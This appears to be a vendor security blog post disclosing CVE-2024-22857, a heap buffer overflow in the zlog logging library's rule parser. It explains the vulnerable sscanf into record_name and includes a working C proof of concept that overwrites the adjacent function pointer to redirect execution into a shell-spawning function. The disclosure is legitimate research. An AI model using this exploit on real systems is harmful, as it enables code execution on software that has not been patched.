Arbitrary Code Execution in ZLOG (CVE-2024-22857): Unveiling the Vulnerability

Arbitrary Code Execution in ZLOG (CVE-2024-22857): Unveiling the Vulnerability

Introduction

CVE-2024-22857 refers to a heap-based buffer overflow vulnerability found in the zlog library version 1.2.16. This vulnerability arises when creating a new rule that is already defined in the provided configuration file, allowing a regular user to potentially achieve arbitrary code execution.

Our researchers Faran Abdullah and Ali Raza uncovered this critical flaw, highlighting that it could enable attackers to remotely execute arbitrary code on systems using the affected library versions. The issue originates from the zlog_rule_new() function, which does not adequately check the length of user-defined strings before copying them, leading to the buffer overflow. Due to Zlog's widespread use for its high performance and flexible logging capabilities, the impact of CVE-2024-22857 could be significant, affecting a broad range of software applications.

This CVE is marked as high risk with a CVSS score of 8.5 and is one of the top 5 trending CVEs worldwide.

Arbitrary Code Execution in ZLOG (CVE-2024-22857): Unveiling the VulnerabilityArbitrary Code Execution in ZLOG (CVE-2024-22857): Unveiling the Vulnerability

Dive into the complete analysis in our blog, which covers the discovery, technical breakdown, and a proof of concept demonstrating how this vulnerability can be exploited.

Zlog: A Primer

Zlog, renowned for its thread-safe and high-performance logging capabilities, allows for extensive customization through user-defined configuration files. This customization enables developers to specify various aspects of logging, including global configurations, application levels, log patterns, and rules for log entry categorization and output. The simplicity and flexibility of zlog make it an attractive option for developers looking for an efficient way to implement logging in their applications. A typical example of zlog's usage involves defining formats and rules within a configuration file, which then guides the library on how to process and output log messages, as demonstrated below:

// Config file 

[formats] 

simple = "%m%n" 

[rules] 

mycat.INFO >stdout; simple 

  

// Driver program 

int main(){ 

const char * config_file = "zlog.conf"; 

zlog_init(config_file); 

zlog_category_t *zc; 

zlog_get_category("mycat"); 

zlog_info(c, "Hello, zlog"); 

zlog_fini(); 

return 0; 

} 

This will display the log on stdout as defined in the configuration file. zlog supports various output methods. The syntax is:

(output action), (output option); (format name, optional).

The output option of our interest is user-defined output defined as:

mycat.* $my_func, "~/zlog_out.txt"; simple 

and the corresponding usage is as: 

int in_program_func(zlog_msg_t *msg){ 

// Do whatever you want to, with the output 

} 

  

int main(void){ 

  // ..... 

// set in_program_func as output function 

zlog_set_record("my_func", in_program_func); 

// ..... 

} 

The Vulnerability Explained

The crux of CVE-2024-22857 lies within the zlog_rule_new() function, which is responsible for parsing user-defined rules in the configuration file and initializing corresponding zlog structures. During this process, the function does not adequately check the length of user-supplied strings before copying them into fixed-size buffers. This oversight can be exploited to overflow the buffer, potentially leading to arbitrary code execution.

When zlog_init() is called, all rules will be read into memory. We have a struct zlog_rule_t (a typedef to struct zlog_rule_s) object in the zlog which holds the data of each rule. Whereas each line in the [rule] section defines a separate rule.

#define MAXLEN_PATH 1024 
#define MAXLEN_CFG_LINE (MAXLEN_PATH * 4) 
 
typedef struct zlog_rule_s zlog_rule_t; 
typedef int (*zlog_rule_output_fn) (zlog_rule_t * a_rule, zlog_thread_t * a_thread); 
 
struct zlog_rule_s { 
	char category[MAXLEN_CFG_LINE + 1]; 
	char compare_char; 
	int level; 
	unsigned char level_bitmap[32]; /* for category determine whether output or not */ 
	unsigned int file_perms; 
	int file_open_flags; 
	char file_path[MAXLEN_PATH + 1]; 
	zc_arraylist_t *dynamic_specs; 
	int static_fd; 
	dev_t static_dev; 
	ino_t static_ino; 
	long archive_max_size; 
	int archive_max_count; 
	char archive_path[MAXLEN_PATH + 1]; 
	zc_arraylist_t *archive_specs; 
	FILE *pipe_fp; 
	int pipe_fd; 
	size_t fsync_period; 
	size_t fsync_count; 
	zc_arraylist_t *levels; 
	int syslog_facility; 
	zlog_format_t *format; 
	zlog_rule_output_fn output; 
	char record_name[MAXLEN_PATH + 1]; 
	char record_path[MAXLEN_PATH + 1]; 
	zlog_record_fn record_func; 
};

When we call zlog_init(), each line of the config file will be parsed as shown in the backtrace

-> int zlog_init(const char *config) 
-> static int zlog_init_inner(const char *config) 
-> zlog_conf_t *zlog_conf_new(const char *config) 
-> static int zlog_conf_build_with_file(zlog_conf_t * a_conf) 
-> static int zlog_conf_parse_line(zlog_conf_t * a_conf, char *line, int *section) // line[MAXLEN_CFG_LINE + 1]; 
-> zlog_rule_t *zlog_rule_new( char * line, 
							zc_arraylist_t * levels, 
							zlog_format_t * default_format, 
							zc_arraylist_t * formats, 
							unsigned int file_perms, 
							size_t fsync_period, 
							int * time_cache_count); 
	// Inside this function 
	case '$' : 
	sscanf(file_path + 1, "%s", a_rule->record_name); 

By crafting a malicious configuration file that includes an overly long string for a user-defined output, an attacker can overflow the record_name buffer, corrupt adjacent memory, and manipulate the control flow of the application to execute arbitrary code.

Inside the zlog_conf_parse_line() function, there is a char* line pointer pointing to the following line in the configuration file:

mycat.* $my_func, "~/zlog_out.txt"; simple 

Then it calls the zlog_rule_new() function. This function parses the line and initializes the related properties. 

/* 

* line [mycat.* $my_func, "~/zlog_out.txt"; simple] 

* selector [mycat.*] // seperated by space 

* *action [$my_func, "~/zlog_out.txt"; simple] 

*/ 

  

/* 

* selector [mycat.*] 

* category [mycat] // terminated by. 

* level [*] 

*/ 

  

/* 

* action [$my_func, "~/zlog_out.txt"; simple] 

* output [$my_func, "~/zlog_out.txt"] // terminated by ; 

* format [$my_func, "~/zlog_out.txt"; simple] 

*/ 

  

/* 

* output [$my_func, "~/zlog_out.txt"] 

* file_path [$my_func] [>syslog ] 

* *file_limit ["~/zlog_out.txt"] 

*/ 

We have file_path having the "$my_func" string. Now it will copy the whole string after the $ sign till the end of the string into a_rule->record_name.

There is no size check limit for the string copied into the record_name (The size of file_path is 4097 while the size of record_name is 1025). For instance, if we have the rule line as:
mycat.* $AAAA... up to the end of line limit (MAXLEN_CFG_LINE)

Code Execution

As mentioned above, we can overflow the record_name buffer, we have a function pointer named record_func adjacent to it. So  we can overwrite the record_func function pointer. L, let's explore how it can be invoked. To place a log entry of any level, we use a set of functions as zlog_<level>() which are just a typedef to zlog() function. Look at the trace given below when we call zlog_info() for the info level:

#define zlog_info(cat, ...) \\ 
	zlog(cat, __FILE__, sizeof(__FILE__)-1, __func__, sizeof(__func__)-1, __LINE__, \\ 
	ZLOG_LEVEL_INFO, __VA_ARGS__) 
 
-> void zlog(zlog_category_t * category, 
		  const char *file, size_t filelen, 
		  const char *func, size_t funclen, 
		  long line, const int level, const char *format, ...) 
-> int zlog_category_output(zlog_category_t * a_category, zlog_thread_t * a_thread) 
-> int zlog_rule_output(zlog_rule_t * a_rule, zlog_thread_t * a_thread) 
	-> a_rule->output(a_rule, a_thread); 
 
-> static int zlog_rule_output_static_record(zlog_rule_t * a_rule, zlog_thread_t * a_thread); 
	-> if (a_rule->record_func(&msg)) 

Inside zlog_rule_output(), it checks the level, and then accordingly calls the a_rule->output() which is the record_funca function pointer set at initialization to zlog_rule_output_static_record(). And this function will invoke the record_func function pointer that has been replaced with the malicious part of code using the overflow.

Proof of Concept

The severity of this vulnerability is underscored by a proof of concept that demonstrates how a crafted configuration file can be used to trigger the buffer overflow and potentially execute arbitrary code. By exploiting the vulnerability, it's possible to redirect the execution flow of an application using zlog to malicious code defined by an attacker, as demonstrated in the following example:

// Compile: gcc poc.c -o poc - –lzlog 

// Author: Ali Raza 

  

#include <stdio.h> 

#include <string.h> 

#include <stdlib.h> 

#include "../zlog/src/zlog.h" 

  

const char const * buggy_config_file = "buggy_zlog.conf"; 

const char const * config_str = "[formats]\n" 

                                "simple = \"\%m\%n\"\n" 

                                "[rules]\n" 

                                "mycat.* $AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 

                                "yjUUUU  \n"; // <TO BE CHANGED> This is the address (of course in ASCII) where We want to redirect the execution flow 

  

void spawn_shell(void){ 

    puts("[+]Spawning shell"); 

    system("/bin/sh"); 

} 

  

int main(void){ 

    // create the buggy config file 

    puts("[*]Creating the buggy config file"); 

    FILE *fp = fopen(buggy_config_file, "w"); 

    fwrite(config_str, 1, strlen(config_str), fp); 

    fclose(fp); 

    puts("[+]File created and the content is written"); 

  

    // init zlog with the buggy config file 

    puts("[*]Initializing zlog with the buggy config file"); 

    int rc = zlog_init(buggy_config_file); 

    if (rc){ 

        printf("init failed\\\\n"); 

        return -1; 

    } 

  

    zlog_category_t *zc; 

    zc = zlog_get_category("mycat"); 

    if (!zc){ 

        printf("get cat fail\n"); 

        zlog_fini(); 

        return -2; 

    } 

    puts("[+]zlog initialized successfully and category is created"); 

    puts("[*]Now logging any message to trigger the vulnerability"); 

    zlog_info(zc, "My first Log Message"); 

    zlog_fini(); 

    return 0; 

} 
Arbitrary Code Execution in ZLOG (CVE-2024-22857): Unveiling the Vulnerability

Conclusion

The discovery of CVE-2024-22857 within the zlog library serves as a poignant reminder of the importance of thorough security testing and validation in the development lifecycle of software. At Ebryx, our commitment to ensuring the security and integrity of our products is paramount. Through proactive vulnerability discovery and remediation, we strive to uphold the highest standards of security for our clients and the broader software community. The identification and reporting of such vulnerabilities not only contribute to the security of our products but also secures the ecosystem at large, making it more resilient against threats.

References

https://github.com/HardySimpson/zlog
https://hardysimpson.github.io/zlog/UsersGuide-EN.html
patch: 77d8af3b368b564605f3ab34ad9b0ed6ead9b380

Credits

Bug discovered by Faran Abdullah

Bug exploited by Ali Raza
Share the article with your friends
Related Posts
Organized ATM Jackpotting
Blog
Ebryx forensic analysts identified an organized criminal group in the South-Asian region. The group utilized an ATM malware to dispense cash directly from the ATM tray.
May 22, 2023
3 Min Read
Cyberattacks on the Rise: 2022 Mid-Year Rport
Blog
Cyber attacks are on the rise in 2022. Despite increased cybersecurity awareness, businesses have not been able to defend themselves from the rapidly changing threat landscape. Compared with the same
May 22, 2023
3 Min Read
How To Land Your First Cybersecurity Job: 5 Tips
Blog
Cybersecurity jobs are growing at a staggering rate and have shown no signs of stopping. According to the New York Times, an estimated 3.5 million cybersecurity positions remain unfilled globally.
May 22, 2023
3 Min Read
Steer Clear of Threats and Mitigate Vulnerabilities with our Zero Trust Solutions
Zero Trust Architecture Assessment
Implement
Universal ZTNA Solution
Adopt Zero Trust with Confidence
Start Your Zero Trust Journey
Contact us